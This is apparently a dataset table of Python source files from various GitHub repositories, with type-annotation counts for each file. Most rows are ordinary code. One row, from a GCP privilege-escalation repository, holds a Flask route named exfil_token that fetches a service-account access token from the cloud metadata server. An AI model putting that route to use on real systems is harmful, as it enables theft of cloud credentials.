max_stars_repo_path string | max_stars_repo_name string | max_stars_count int64 | id string | content string | add_param_types int64 | add_return_types int64 | add_class_field_types int64 | add_instance_field_types int64 | add_total int64 | add_error int64 |
|---|---|---|---|---|---|---|---|---|---|---|
cacreader/swig-4.0.2/Examples/test-suite/python/file_test_runme.py | kyletanyag/LL-Smartcard | 1,031 | 1640066 | <reponame>kyletanyag/LL-Smartcard
import sys
import file_test
if sys.version_info[0:2] < (3, 0):
file_test.nfile(sys.stdout)
cstdout = file_test.GetStdOut()
file_test.nfile(cstdout)
file_test.nfile_name("test.dat")
| 0 | 0 | 0 | 0 | 0 | 0 |
examples/plots/plot_frames.py | alek5k/pytransform3d | 304 | 1640075 | """
===============================================
Plot with Respect to Different Reference Frames
===============================================
In this example, we will demonstrate how to use the TransformManager.
We will add several transforms to the manager and plot all frames in
two reference frames ('world' an... | 0 | 0 | 0 | 0 | 0 | 0 |
scripts/make_release_branch.py | goncaloperes/intellij-rust | 4,168 | 1640077 | from common import get_patch_version, inc_patch_version, GRADLE_PROPERTIES
from git import git_command
if __name__ == '__main__':
patch_version = get_patch_version()
release_branch = f"release-{patch_version}"
git_command("branch", release_branch)
git_command("push", "origin", release_branch)
inc... | 0 | 0 | 0 | 0 | 0 | 0 |
tf2rl/envs/multi_thread_env.py | yamada-github-account/tf2rl | 453 | 1640134 | <reponame>yamada-github-account/tf2rl<gh_stars>100-1000
import threading
import numpy as np
import tensorflow as tf
class MultiThreadEnv(object):
"""
This contains multiple environments.
When step() is called, all of them forward one-step.
This serve tensorflow operators to manipulate multiple envir... | 0 | 0 | 0 | 0 | 0 | 0 |
test/column_test.py | screamingskulls/sofi | 402 | 1640141 | from sofi.ui import Column
def test_basic():
assert(str(Column()) == "<div class=\"col-md-4\"></div>")
def test_size_count():
assert(str(Column('lg', 2)) == "<div class=\"col-lg-2\"></div>")
def test_offset():
assert(str(Column('lg', 2, 3)) == "<div class=\"col-lg-2 col-lg-offset-3\"></div>")
def test_c... | 0 | 0 | 0 | 0 | 0 | 0 |
tools/rdf_generator/rdfformat/generator/rdflib_carson_types_handler.py | richardkreid/digitalbuildings | 210 | 1640144 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the License);
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, sof... | 0 | 1 | 0 | 0 | 1 | 0 |
02-Windows_Security/python/02_openProcHandler.py | threat-punter/RedTeam-OffensiveSecurity | 629 | 1640151 | # openProcHandler.py
import ctypes
import sys
if len(sys.argv) != 2:
print("[*] Usage: {0} <PID>".format(sys.argv[0]))
sys.exit(1)
pid = int(sys.argv[1])
print("[+] Process ID Entered:", pid)
k_handle = ctypes.WinDLL("Kernel32.dll")
# Win API Call
# HANDLE OpenProcess(
# DWORD dwDesiredAccess,
# BOOL bInhe... | 0 | 0 | 0 | 0 | 0 | 0 |
examples/galgebra/eval_check.py | shipci/sympy | 319 | 1640177 | #!/usr/bin/env python
from __future__ import print_function
from sympy import symbols
from sympy.galgebra import MV, ReciprocalFrame
from sympy.galgebra import enhance_print
from sympy.galgebra import oprint
from sympy.galgebra import define_precedence, GAeval
def main() -> None:
enhance_print()
coords = sy... | 0 | 1 | 0 | 0 | 1 | 0 |
tests/rulefit_test.py | csinva/interpretability-implementations-demos | 102 | 1640189 | import numpy as np
from sklearn.ensemble import RandomForestRegressor, RandomForestClassifier
from sklearn.exceptions import ConvergenceWarning
from sklearn.utils._testing import ignore_warnings
from imodels.rule_set.rule_fit import RuleFitRegressor
from imodels.util.transforms import FriedScale
## Testing FriedScal... | 0 | 0 | 0 | 0 | 0 | 0 |
tests/test_markupsafe.py | alvistack/pallets-markupsafe | 415 | 1640231 | import pytest
from markupsafe import Markup
def test_adding(escape):
unsafe = '<script type="application/x-some-script">alert("foo");</script>'
safe = Markup("<em>username</em>")
assert unsafe + safe == str(escape(unsafe)) + str(safe)
@pytest.mark.parametrize(
("template", "data", "expect"),
(
... | 0 | 14 | 0 | 0 | 14 | 0 |
tests/test_fst.py | narupo/janome | 748 | 1640237 | <gh_stars>100-1000
# Copyright 2015 moco_beta
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 0 | 0 | 0 | 0 | 0 | 0 |
AutotestFramework/core/tools/UsualTool.py | yangjourney/sosotest | 422 | 1640251 | <reponame>yangjourney/sosotest
from email import charset
charset.add_charset('utf-8', charset.SHORTEST, charset.BASE64, 'utf-8')
import datetime,os
import smtplib
from email.mime.multipart import MIMEMultipart #import email.MIMEMultipart
from email.mime.text import MIMEText #import email.MIMEText
from emai... | 0 | 0 | 0 | 0 | 0 | 0 |
recipes/Python/578425_Colour_Bar_Greyscale_Generator_Standard_Text/recipe-578425.py | tdiprima/code | 2,023 | 1640270 | <reponame>tdiprima/code
# Colour_Bar.py
#
# Linux, (UNIX?), only. Issued as Public Domain and you may do with this as you please...
#
# This is a useful bit of simple code to generate, (in a default, 80 x 24 text window), half
# of the window with a colourbar and the other half with a greyscale. A simple piece of
# tes... | 0 | 0 | 0 | 0 | 0 | 0 |
day7/Python/onewordaway.py | Grace0Hud/dailycodebase | 249 | 1640294 | from __future__ import annotations
"""
@author : vishalshirke7
@date : 28/12/2018
"""
def check_one_edit_away(str1, str2) -> bool | object:
l1, l2 = len(str1), len(str2)
if abs(l1 - l2) > 1:
return False
count = 0
i, j = 0, 0
while i < l1 and j < l2:
if str1[i] != str2[j]:
... | 0 | 1 | 0 | 0 | 1 | 0 |
tests/corpus/conversion/test_base.py | CostanzoPablo/audiomate | 133 | 1640313 | import os
import pytest
from tests import resources
from audiomate.corpus.conversion import base
class DummyAudioFileConverter(base.AudioFileConverter):
def __init__(self, a_ret, sampling_rate: int=16000, separate_file_per_utterance: bool=False,
force_conversion: bool=False):
super(Dum... | 3 | 3 | 0 | 2 | 8 | 0 |
kolibri/core/content/errors.py | MBKayro/kolibri | 545 | 1640324 | from kolibri.core.errors import KolibriError
class InvalidStorageFilenameError(KolibriError):
pass
class InsufficientStorageSpaceError(KolibriError):
pass
| 0 | 0 | 0 | 0 | 0 | 0 |
mltrace/db/migrations/old/c41d714da766_create_monitoring_tables.py | vishwanath1306/mltrace | 328 | 1640328 | """Create monitoring tables
Revision ID: c41d714da766
Revises: None
Create Date: 2021-12-23 14:18:50.621612
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = "<KEY>"
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# Create 2 new t... | 0 | 0 | 0 | 0 | 0 | 0 |
packages/pyright-internal/src/tests/samples/typeNarrowingIsinstance3.py | Jasha10/pyright | 3,934 | 1640331 | # This sample tests the handling of isinstance and issubclass type
# narrowing in the case where there is no overlap between the
# value type and the test type.
from typing import Type, TypeVar
class A:
a_val: int
class B:
b_val: int
class C:
c_val: int
def func1(val: A):
if isinstance(val, B):... | 3 | 1 | 3 | 0 | 7 | 0 |
simpleflow/session.py | Alexandmrwh/simpleflow | 209 | 1640333 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import annotations
''' Session to execute a computational graph.
'''
from functools import reduce
from .operations import Operation, Variable, Placeholder
class Session(object):
''' A session to compute a particular graph.
'''
def __init__(self... | 1 | 3 | 0 | 0 | 4 | 0 |
hummingbot/connector/exchange/kucoin/kucoin_api_order_book_data_source.py | pecuniafinance/hummingbot | 542 | 1640372 | <reponame>pecuniafinance/hummingbot
import asyncio
import logging
import time
from collections import defaultdict
from typing import Any, Dict, List, Optional
from bidict import bidict
from hummingbot.connector.exchange.kucoin import (
kucoin_constants as CONSTANTS,
kucoin_utils as utils,
kucoin_web_utils... | 0 | 0 | 0 | 0 | 0 | 0 |
core/context_processors.py | vanessa/djangogirls | 446 | 1640414 | <reponame>vanessa/djangogirls
from django.db.models import Sum
from .models import Event, User
def statistics(request):
future_events = Event.objects.future()
past_events = Event.objects.past()
countries = Event.objects.values('country').distinct()
attendees = Event.objects.all().aggregate(
a... | 0 | 0 | 0 | 0 | 0 | 0 |
sopel/tools/calculation.py | Gizmokid2005/sopel | 555 | 1640436 | <reponame>Gizmokid2005/sopel<filename>sopel/tools/calculation.py
"""Tools to help safely do calculations from user input"""
from __future__ import generator_stop
import ast
import numbers
import operator
import time
__all__ = ['eval_equation']
class ExpressionEvaluator:
"""A generic class for evaluating limited... | 0 | 0 | 0 | 0 | 0 | 0 |
Stock/Select/Ui/Basic/Param/DyStockSelectStrategyParamWidget.py | Leonardo-YXH/DevilYuan | 135 | 1640451 | <gh_stars>100-1000
from collections import OrderedDict
from DyCommon.Ui.DyTableWidget import *
from EventEngine.DyEvent import *
class DyStockSelectStrategyParamWidget(DyTableWidget):
def __init__(self):
super().__init__(None, False, False, False, False)
def set(self, paramters):
""" @param... | 0 | 0 | 0 | 0 | 0 | 0 |
examples/cifar10/dataset.py | brandongk-ubco/autoalbument | 135 | 1640465 | <filename>examples/cifar10/dataset.py
import cv2
import torchvision
cv2.setNumThreads(0)
cv2.ocl.setUseOpenCL(False)
class Cifar10SearchDataset(torchvision.datasets.CIFAR10):
def __init__(self, root="~/data/cifar10", train=True, download=True, transform=None):
super().__init__(root=root, train=train, dow... | 0 | 0 | 0 | 0 | 0 | 0 |
demux.py | tp7/Sushi | 470 | 1640475 | from __future__ import annotations
import os
import re
import subprocess
from collections import namedtuple
import logging
import bisect
from common import SushiError, get_extension
import chapters
MediaStreamInfo = namedtuple('MediaStreamInfo', ['id', 'info', 'default', 'title'])
SubtitlesStreamInfo = namedtuple('Su... | 0 | 24 | 0 | 0 | 24 | 0 |
examples/jinja2_templating.py | mikelolasagasti/bandit | 4,016 | 1640479 | import jinja2
from jinja2 import Environment, select_autoescape
templateLoader = jinja2.FileSystemLoader( searchpath="/" )
something = ''
Environment(loader=templateLoader, load=templateLoader, autoescape=True)
templateEnv = jinja2.Environment(autoescape=True,
loader=templateLoader )
Environment(loader=templat... | 0 | 1 | 0 | 0 | 1 | 0 |
src/timingserver/Delta5Interface_delete.py | escusado/delta5_race_timer | 156 | 1640493 | from __future__ import annotations
import smbus
import gevent
from gevent.lock import BoundedSemaphore
from Node import Node
READ_ADDRESS = 0x00
READ_RSSI = 0x01
READ_FREQUENCY = 0x03
READ_TRIGGER_RSSI = 0x04
READ_LAP = 0x05
READ_TIMING_SERVER_MODE = 0x06
WRITE_TRIGGER_RSSI = 0x53
WRITE_FREQUENCY = 0x56
WRITE_TIMING... | 0 | 14 | 0 | 4 | 18 | 0 |
ui/pypesvds/plugins/pdfreaderadapter/pdfreaderadapter.py | onfire73/pypeskg | 117 | 1640508 | import logging
#import traceback
from pypes.component import Component
from pypesvds.lib.extras.pdfparser import PDFConverter
log = logging.getLogger(__name__)
class PDFReader(Component):
__metatype__: str = 'ADAPTER'
def __init__(self):
# initialize parent class
Component.__init__(self)
... | 0 | 0 | 1 | 0 | 1 | 0 |
gaphor/diagram/general/commentline.py | MartinIIOT/gaphor | 867 | 1640511 | from __future__ import annotations
"""
CommentLine -- A line that connects a comment to another model element.
"""
from gaphor.diagram.connectors import Connector
from gaphor.diagram.presentation import LinePresentation
class CommentLineItem(LinePresentation):
def __init__(self, diagram, id: object | None=None)... | 1 | 0 | 0 | 0 | 1 | 0 |
airflow/migrations/versions/0103_c97c2ab6aa23_add_callback_request_table.py | npodewitz/airflow | 8,092 | 1640540 | <filename>airflow/migrations/versions/0103_c97c2ab6aa23_add_callback_request_table.py
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses t... | 0 | 0 | 0 | 0 | 0 | 0 |
machin/env/utils/__init__.py | lethaiq/machin | 287 | 1640573 | <filename>machin/env/utils/__init__.py
from . import openai_gym
__all__ = ["openai_gym"]
| 0 | 0 | 0 | 0 | 0 | 0 |
claf/tokens/indexer/linguistic_indexer.py | GMDennis/claf | 225 | 1640577 | <reponame>GMDennis/claf
from overrides import overrides
import spacy
from claf.tokens.linguistic import POSTag, NER
from .base import TokenIndexer
class LinguisticIndexer(TokenIndexer):
"""
Linguistic Token Indexer
* Property
vocab: Vocab (claf.tokens.vocabulary)
* Args:
tokenizer... | 0 | 0 | 0 | 0 | 0 | 0 |
Chapter15/c15_07_equal_vol_2periods.py | John-ye666/Python-for-Finance-Second-Edition | 236 | 1640591 | <reponame>John-ye666/Python-for-Finance-Second-Edition
"""
Name : c15_07_equal_vol_2periods.py
Book : Python for Finance (2nd ed.)
Publisher: Packt Publishing Ltd.
Author : <NAME>
Date : 6/6/2017
email : <EMAIL>
<EMAIL>
"""
import numpy as np
import scipy as sp
import pandas ... | 0 | 0 | 0 | 0 | 0 | 0 |
examples/issues/issue236.py | tgolsson/appJar | 666 | 1640624 | <reponame>tgolsson/appJar
import sys
sys.path.append("../../")
def press(btn):
print(app.topLevel.geometry())
print(app.topLevel.attributes('-fullscreen'))
def show(btn=None):
print("show", btn)
def setts(btn):
if btn == "LOAD":
print(app.getSetting("aa"))
elif btn == "SAVE":
app.... | 0 | 0 | 0 | 0 | 0 | 0 |
Mariana/scenari.py | jzumer/Mariana | 182 | 1640638 | <reponame>jzumer/Mariana
import theano, numpy
import theano.tensor as tt
from collections import OrderedDict
import lasagne.updates as LUP
import Mariana.abstraction as MABS
__all__ = ["LearningScenario_ABC", "ParameterGradUpdates", "OptimizerFreeResults", "OptimizerResult", "Fixed", "GradientDescent"]
class Incomp... | 0 | 0 | 0 | 0 | 0 | 0 |
test/sercore/test_deser.py | timgates42/pydoop | 203 | 1640657 | <filename>test/sercore/test_deser.py<gh_stars>100-1000
# BEGIN_COPYRIGHT
#
# Copyright 2009-2021 CRS4.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy
# of the License at
#
# http://www.apache.org/licenses/LIC... | 0 | 0 | 0 | 0 | 0 | 0 |
text2vec/bm25.py | shibing624/text2vec | 380 | 1640679 | <reponame>shibing624/text2vec
# -*- coding: utf-8 -*-
"""
@author:XuMing(<EMAIL>)
@description:
"""
import numpy as np
from text2vec.utils.rank_bm25 import BM25Okapi
from text2vec.utils.tokenizer import Tokenizer
from text2vec.utils.log import logger
class BM25(object):
def __init__(self, corpus):
"""
... | 0 | 0 | 0 | 0 | 0 | 0 |
tests/gdsconv/test_gds_txt.py | mabrains/ALIGN-public | 119 | 1640708 | <reponame>mabrains/ALIGN-public<filename>tests/gdsconv/test_gds_txt.py<gh_stars>100-1000
import os
import sys
import filecmp
import pathlib
import pytest
mydir = str(pathlib.Path(__file__).resolve().parent)
@pytest.fixture
def binary_dir():
return os.path.dirname(sys.executable)
def test_gds_txt_roundtrip (binar... | 0 | 0 | 0 | 0 | 0 | 0 |
tools/SDKTool/src/ui/tree/ai_tree/state_node.py | Passer-D/GameAISDK | 1,210 | 1640723 | <reponame>Passer-D/GameAISDK
# -*- coding: utf-8 -*-
"""
Tencent is pleased to support the open source community by making GameAISDK available.
This source code file is licensed under the GNU General Public License Version 3.
For full details, please refer to the file "LICENSE.txt" which is provided as part of this so... | 0 | 0 | 0 | 0 | 0 | 0 |
tools/tensorflow_docs/api_generator/obj_type.py | mohantym/docs | 5,672 | 1640738 | # Lint as: python3
# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | 1 | 1 | 6 | 0 | 8 | 0 |
greenletio/green/ssl.py | moriyoshi/greenletio | 131 | 1640802 | <filename>greenletio/green/ssl.py<gh_stars>100-1000
import os
import sys
from greenletio.io import wait_to_read, wait_to_write
from greenletio.patcher import copy_globals
from ssl import SSLWantReadError, SSLWantWriteError, PROTOCOL_TLS, Purpose, \
CERT_NONE, CERT_REQUIRED, _ASN1Object
import ssl as _original_ssl_
... | 0 | 0 | 0 | 0 | 0 | 0 |
ExploitScripts/CloudRunDockerImage/app.py | iNoSec2/GCP-IAM-Privilege-Escalation | 108 | 1640834 | <filename>ExploitScripts/CloudRunDockerImage/app.py
import os
import requests
from flask import Flask
app = Flask(__name__)
@app.route('/')
def exfil_token():
token = requests.get('http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token', headers={'Metadata-Flavor': 'Google'}).text
... | 0 | 0 | 0 | 0 | 0 | 0 |
WebHashcat/Hashcat/migrations/0003_auto_20200610_1159.py | r00t0vi4/WebHashcat | 191 | 1640838 | # Generated by Django 3.0.7 on 2020-06-10 11:59
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies: list[tuple[str, str]] = [
('Hashcat', '0002_auto_20200610_1150'),
]
operations: list[object] = [
migrations.AlterField(
model_name='h... | 0 | 0 | 2 | 0 | 2 | 0 |
external/protobuf/jenkins/make_test_output.py | SenthilKumarGS/TizenRT | 14,668 | 1640842 | """Gathers output from test runs and create an XML file in JUnit format.
The output files from the individual tests have been written in a directory
structure like:
$DIR/joblog (output from "parallel --joblog joblog")
$DIR/logs/1/cpp/stdout
$DIR/logs/1/cpp/stderr
$DIR/logs/1/csharp/stdout
$DIR/logs/1/cshar... | 0 | 2 | 0 | 0 | 2 | 0 |
shellstorm.py | zzanp/Citadel | 315 | 1640854 | #!/usr/bin/python3.7
import argparse
import requests #HTTP library
from terminaltables import SingleTable #Library for printing beautiful tables
import subprocess
from huepy import * #Coloring library, install it with pip3 install huepy
import re #Regex library
def arguments() -> object:
parser = argparse.Argument... | 0 | 2 | 0 | 0 | 2 | 0 |
leo/modes/pharo.py | ATikhonov2/leo-editor | 1,550 | 1640861 | <gh_stars>1000+
# Leo colorizer control file for pharo mode.
# This file is in the public domain.
# Properties for pharo mode.
properties = {
"commentEnd": "\"",
"commentStart": "\"",
"indentCloseBrackets": "]",
"indentOpenBrackets": "[",
"lineUpClosingBracket": "true",
}
# Attributes dict for pha... | 0 | 0 | 0 | 0 | 0 | 0 |
Athos/SeeDot/IR/IR.py | kanav99/EzPC | 221 | 1640874 | """
Authors: <NAME>, <NAME>.
Copyright:
Copyright (c) 2020 Microsoft Research
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, ... | 58 | 34 | 5 | 2 | 99 | 0 |
flocker/common/test/sample_script.py | stackriot/flocker | 2,690 | 1640877 | <filename>flocker/common/test/sample_script.py
# Copyright ClusterHQ Inc. See LICENSE file for details.
"""
A script which is called by ``run_process`` in the ``test_process` module.
The returncode, stdout and stderr can all be supplied as command line arguments
so that we can test how ``run_process`` captures proces... | 0 | 0 | 0 | 0 | 0 | 0 |
reddit2telegram/channels/cats/app.py | mainyordle/reddit2telegram | 187 | 1640900 | #encoding:utf-8
from utils import weighted_random_subreddit
t_channel = '@RedditCats'
subreddit = weighted_random_subreddit({
'cats': 1,
'StartledCats': 1,
'CatsStandingUp': 1,
'funny_cats': 1,
'catpictures': 1,
'CatSlaps': 1,
'CatsAreAssholes': 1,
'teefies': 1,
'CatGifs': 1,
... | 0 | 1 | 0 | 0 | 1 | 0 |
sdk/python/pulumi_azure/core/subscription_cost_management_export.py | henriktao/pulumi-azure | 109 | 1640904 | <reponame>henriktao/pulumi-azure
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequenc... | 0 | 0 | 0 | 0 | 0 | 0 |
pretraining/vocab.py | wietsedv/bertje | 104 | 1640937 | <reponame>wietsedv/bertje
import sys
if len(sys.argv) < 3:
print('Usage: python3 vocab.py source-path dest-path')
source_path = sys.argv[1]
dest_path = sys.argv[2]
vocab = []
with open(source_path, 'r') as f:
for l in f.readlines():
t, _ = l.split('\t')
if t[0] == '▁':
t = t[1:... | 0 | 0 | 0 | 0 | 0 | 0 |
veles/samples/GeneticExample/genetics.py | AkshayJainG/veles | 1,007 | 1640939 | # -*-coding: utf-8 -*-
"""
.. invisible:
_ _ _____ _ _____ _____
| | | | ___| | | ___/ ___|
| | | | |__ | | | |__ \ `--.
| | | | __|| | | __| `--. \
\ \_/ / |___| |___| |___/\__/ /
\___/\____/\_____|____/\____/
Created on Sep 21, 2015
Example of genetic optimization.
██████... | 0 | 2 | 0 | 1 | 3 | 0 |
tools/unzip_iPER.py | eyaler/impersonator | 1,717 | 1640942 | import os
import glob
from tqdm import tqdm
import subprocess
import shutil
# Replacing them as your own folder
dataset_video_root_path = '/p300/tpami/iPER_ICCV_TEST/iPER_256_video_release'
save_images_root_path = '/p300/tpami/iPER_ICCV_TEST/images'
def extract_one_video(video_path, save_dir):
os.makedirs(save... | 0 | 0 | 0 | 0 | 0 | 0 |
scripts/half_float_tables.py | jonashoechst/cbor2 | 127 | 1640961 | #!/usr/bin/python3
from __future__ import annotations
"""
A simple script to generate the tables used in halffloat.c. The algorithms in
this script are based upon the paper `Fast Half Float Conversions`_, referenced
by the Wikipedia article on `half-precision floating point`_.
.. _half-precision floating point:
ht... | 1 | 2 | 0 | 0 | 3 | 0 |
flexxamples/howtos/editor_ace.py | tbnorth/flexx | 1,662 | 1640972 | # doc-export: CodeEditor
"""
This example demonstrates a code editor widget based on Ace.
"""
# todo: Maybe this should be a widget in the library (flexx.ui.Ace) ?
from flexx import flx
# Associate Ace's assets with this module so that Flexx will load
# them when (things from) this module is used.
base_url = 'https:... | 0 | 0 | 1 | 0 | 1 | 0 |
partnet_edges/detect_rot_sym.py | jeonghyunkeem/structurenet | 212 | 1641006 | <reponame>jeonghyunkeem/structurenet<filename>partnet_edges/detect_rot_sym.py
import numpy as np
from utils import get_pc_center, get_pca_axes, get_chamfer_distance
''' rotational symmetry
Output: ret: T/F, pt: pivot point xyz, nor: normal unit vector, angle: rotation radian angle
Usage: part_B_point =... | 0 | 0 | 0 | 0 | 0 | 0 |
python/128 Longest Consecutive Sequence.py | allandproust/leetcode-share | 156 | 1641016 | '''
Given an unsorted array of integers, find the length of the longest consecutive elements sequence.
For example,
Given [100, 4, 200, 1, 3, 2],
The longest consecutive elements sequence is [1, 2, 3, 4]. Return its length: 4.
Your algorithm should run in O(n) complexity.
'''
class Solution(object):
def longestC... | 0 | 1 | 0 | 0 | 1 | 0 |
src/unit_test/check_VideoAccuracyCalculator.py | Austin1999/ViolenceDetection-master | 149 | 1641035 | #!/usr/bin/python3
from src.AccuracyCalculator import *
import tensorflow as tf
import time
import numpy as np
import settings.DataSettings as dataSettings
# maxCount = 8
netPrediction_1 = np.array( [[ [0.9, 0.1], [0.7, 0.3], [0.6, 0.4], [0.4, 0.6], [0.3, 0.7],
[0.2, 0.8], [0.1, 0.9], [0.2, 0.8], [0.1, 0.9], [0... | 0 | 0 | 0 | 0 | 0 | 0 |
recipes/Python/440490_Booleoperations_beyond/recipe-440490.py | tdiprima/code | 2,023 | 1641095 | <gh_stars>1000+
## example
unique = lambda x: reduce(lambda y,z: (not (z in y) and y.append(z) ) or y, x, [])
unique([3, 4, 5, 6, 5, 3, 7])
| 0 | 0 | 0 | 0 | 0 | 0 |
lib/galaxy/tools/remote_tool_eval.py | quacksawbones/galaxy-1 | 1,085 | 1641106 | import json
import os
import shutil
import tempfile
import traceback
from typing import (
Callable,
NamedTuple,
)
from galaxy.datatypes.registry import Registry
from galaxy.files import ConfiguredFileSources
from galaxy.job_execution.compute_environment import SharedComputeEnvironment
from galaxy.job_execution... | 6 | 0 | 10 | 0 | 16 | 0 |
modules/wireless/wifipumpkin3.py | decidedlygray/ptf | 4,391 | 1641138 | <gh_stars>1000+
#!/usr/bin/env python
#####################################
# Installation module for Wifipumpkin3
#####################################
# AUTHOR OF MODULE NAME
AUTHOR="<NAME> (@HackingDave)"
# DESCRIPTION OF THE MODULE
DESCRIPTION="This module will install/update wifipumpkin3 - a tool for rogue acces... | 0 | 0 | 0 | 0 | 0 | 0 |
insights/parsers/upstart.py | lhuett/insights-core | 121 | 1641151 | <reponame>lhuett/insights-core
"""
UpstartInitctlList - Command ``initctl --system list``
======================================================
Parser to parse the output of ``initctl --system list`` command.
"""
from insights import parser, CommandParser
from insights.parsers import SkipException
from insights.spe... | 0 | 0 | 0 | 0 | 0 | 0 |
nodes/1.x/python/View.SetDesignOption.py | jdehotin/Clockworkfordynamo | 147 | 1641152 | <reponame>jdehotin/Clockworkfordynamo<gh_stars>100-1000
import clr
clr.AddReference('RevitAPI')
from Autodesk.Revit.DB import *
clr.AddReference("RevitServices")
import RevitServices
from RevitServices.Persistence import DocumentManager
from RevitServices.Transactions import TransactionManager
doc = DocumentManager.I... | 0 | 0 | 0 | 0 | 0 | 0 |
mirage/scenarios/lightbulb_mitm.py | tlechien/mirage | 123 | 1641213 | <filename>mirage/scenarios/lightbulb_mitm.py
from mirage.core import scenario
from mirage.libs import io,ble,utils
class lightbulb_mitm(scenario.Scenario):
# When the module starts...
def onStart(self):
self.a2sEmitter = self.module.a2sEmitter
self.a2sReceiver = self.module.a2sReceiver
self.a2mEmitter = self.... | 0 | 0 | 0 | 0 | 0 | 0 |
python/plotting/sys_id_basin_hopping.py | Martin-Oehler/tiny-differentiable-simulator | 862 | 1641227 | <gh_stars>100-1000
#!/usr/bin/python
#
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by a... | 0 | 0 | 0 | 0 | 0 | 0 |
_Dist/NeuralNetworks/h_RNN/RNN.py | leoatchina/MachineLearning | 1,107 | 1641239 | <filename>_Dist/NeuralNetworks/h_RNN/RNN.py
import os
import sys
root_path = os.path.abspath("../../../")
if root_path not in sys.path:
sys.path.append(root_path)
import numpy as np
import tensorflow as tf
from _Dist.NeuralNetworks.NNUtil import Toolbox
from _Dist.NeuralNetworks.Base import Generator3d
from _Dist... | 0 | 0 | 0 | 0 | 0 | 0 |
tests/test_node.py | dexy/dexy | 136 | 1641290 | from dexy.doc import Doc
from dexy.node import Node
from dexy.node import PatternNode
from dexy.wrapper import Wrapper
from tests.utils import wrap
import dexy.doc
import dexy.node
import os
import time
def test_create_node():
with wrap() as wrapper:
node = dexy.node.Node.create_instance(
"... | 0 | 0 | 0 | 0 | 0 | 0 |
cstar/nodetoolparser/simple.py | smarsching/cstar | 244 | 1641291 | # Copyright 2017 Spotify AB
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, softw... | 0 | 2 | 0 | 0 | 2 | 0 |
venv/lib/python3.8/site-packages/jieba/posseg/prob_trans.py | avrumnoor/NewsSummarizer | 28,054 | 1641306 | <reponame>avrumnoor/NewsSummarizer<filename>venv/lib/python3.8/site-packages/jieba/posseg/prob_trans.py
P={('B', 'a'): {('E', 'a'): -0.0050648453069648755,
('M', 'a'): -5.287963037107507},
('B', 'ad'): {('E', 'ad'): -0.0007479013978476627,
('M', 'ad'): -7.198613337130562},
('B', 'ag'): {}... | 0 | 0 | 0 | 0 | 0 | 0 |
src/importlinter/domain/imports.py | jthevos/import-linter | 171 | 1641372 | from typing import Any, Optional
class ValueObject:
def __repr__(self) -> str:
return "<{}: {}>".format(self.__class__.__name__, self)
def __eq__(self, other: Any) -> bool:
if isinstance(other, self.__class__):
return hash(self) == hash(other)
else:
return Fals... | 10 | 16 | 0 | 0 | 26 | 0 |
atlas/create_sample_table.py | alienzj/atlas | 204 | 1641394 | <reponame>alienzj/atlas<gh_stars>100-1000
import os
import sys
import logging
logger = logging.getLogger(__file__)
import pandas as pd
import numpy as np
from collections import defaultdict
def splitext_ignore_gz(path):
basename, ext = os.path.splitext(path)
if ext == ".gz":
basename, ext = os.pat... | 0 | 0 | 0 | 0 | 0 | 0 |
aliyun/log/consumer_group_request.py | topdown618/aliyun-log-python-sdk | 130 | 1641405 | <filename>aliyun/log/consumer_group_request.py
# -*- coding: utf-8 -*-
from aliyun.log.logrequest import LogRequest
import json
import six
__all__ = ['CreateConsumerGroupRequest', 'ConsumerGroupGetCheckPointRequest',
'ConsumerGroupHeartBeatRequest', 'ConsumerGroupUpdateCheckPointRequest']
class ConsumerG... | 0 | 0 | 0 | 0 | 0 | 0 |
Interpolation/Composite Variabler.py | justanotherfoundry/Glyphs-Scripts | 283 | 1641413 | <reponame>justanotherfoundry/Glyphs-Scripts
#MenuTitle: Composite Variabler
# -*- coding: utf-8 -*-
from __future__ import division, print_function, unicode_literals
__doc__="""
Reduplicates Brace and Bracket layers of components in the composites in which they are used. Makes brace and bracket layers work in the compo... | 0 | 0 | 0 | 0 | 0 | 0 |
examples/tetris/tetris/tetris.py | salt-die/nurses_2 | 171 | 1641434 | <reponame>salt-die/nurses_2<filename>examples/tetris/tetris/tetris.py<gh_stars>100-1000
import asyncio
from collections import deque
from itertools import count
from pathlib import Path
from random import shuffle
import numpy as np
from nurses_2.widgets.text_widget import TextWidget
from nurses_2.widgets.image import... | 0 | 0 | 0 | 0 | 0 | 0 |
examples/factor_analysis.py | zhangyewu/edward | 5,200 | 1641473 | <reponame>zhangyewu/edward
"""Logistic factor analysis on MNIST. Using Monte Carlo EM, with HMC
for the E-step and MAP for the M-step. We fit to just one data
point in MNIST.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import edward as ed
import os
i... | 0 | 0 | 0 | 0 | 0 | 0 |
